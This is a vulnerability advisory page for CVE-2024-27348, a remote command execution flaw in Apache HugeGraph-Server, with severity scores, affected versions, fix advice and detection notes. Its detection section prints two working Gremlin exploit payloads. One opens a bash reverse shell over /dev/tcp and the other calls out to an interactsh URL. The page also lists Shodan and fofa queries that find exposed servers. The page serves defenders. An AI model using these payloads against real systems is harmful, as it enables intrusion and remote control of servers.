cbcvebase.
CVE-2024-27348
published 2024-04-22

CVE-2024-27348: RCE-Remote Command Execution vulnerability in Apache HugeGraph-Server.This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.3.0 in Java8 & Java11…

PriorityP196critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2024-10-09
Exploited in the wild
EPSS
99.21%
99.9th percentile
RCE-Remote Command Execution vulnerability in Apache HugeGraph-Server.This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.3.0 in Java8 & Java11 Users are recommended to upgrade to version 1.3.0 with Java11 & enable the Auth system, which fixes the issue.

Affected

2 ranges
VendorProductVersion rangeFixed in
apachehugegraph>= 1.0.0 < 1.3.01.3.0
apache_software_foundationapache_hugegraph-server>= 1.0.0 < 1.3.01.3.0

Detection & IOCsextracted from sources · hover to see the quote

url/gremlin
path/gremlin
command{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"VICARIUS\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"bash\", \"-c\", \"bash -i>&/dev/tcp/\"+lhost+\"/\"+lport+\"\", \"0>&1\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
command{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{{interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
sigma
shodan-query: title:"HugeGraph"
sigma
fofa-query: title="HugeGraph"
  • Exploit targets the Gremlin graph traversal language API endpoint via HTTP POST to /gremlin with a JSON body containing 'language: gremlin-groovy' and Java reflection-based ProcessBuilder payload to achieve RCE.
  • Detect POST requests to /gremlin containing 'java.lang.ProcessBuilder' and 'gremlin-groovy' in the request body — this is the core exploit pattern used to spawn OS processes via Java reflection.
  • The exploit omits the Content-Type header after preparation ('del prepped.headers["Content-Type"]'), which may result in anomalous HTTP requests to /gremlin lacking a Content-Type header despite carrying a JSON body.
  • Check Point IPS signature name for this CVE can be used to validate IPS coverage: 'Apache HugeGraph Server Remote Code Execution (CVE-2024-27348)'.
  • DNS interaction (OOB callback) is a reliable detection signal for exploitation attempts; the Nuclei template confirms exploitation by observing a DNS ping-back from the target to an interactsh URL.
  • Response body containing 'inputStream":' in combination with HTTP 200 and application/json Content-Type on the /gremlin endpoint is a positive exploitation indicator per the Nuclei template.
  • Metasploit module exists for this CVE targeting Linux HTTP services: modules/exploits/linux/http/apache_hugegraph_gremlin_rce.rb — presence of this module in use indicates active exploitation attempts.
  • ·Enabling the Auth system is required alongside upgrading to 1.3.0 — upgrading alone without enabling authentication does not fully remediate the vulnerability.
  • ·The 'Whitelist-IP/port' function should be enabled to further restrict RESTful-API execution as an additional mitigation layer.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.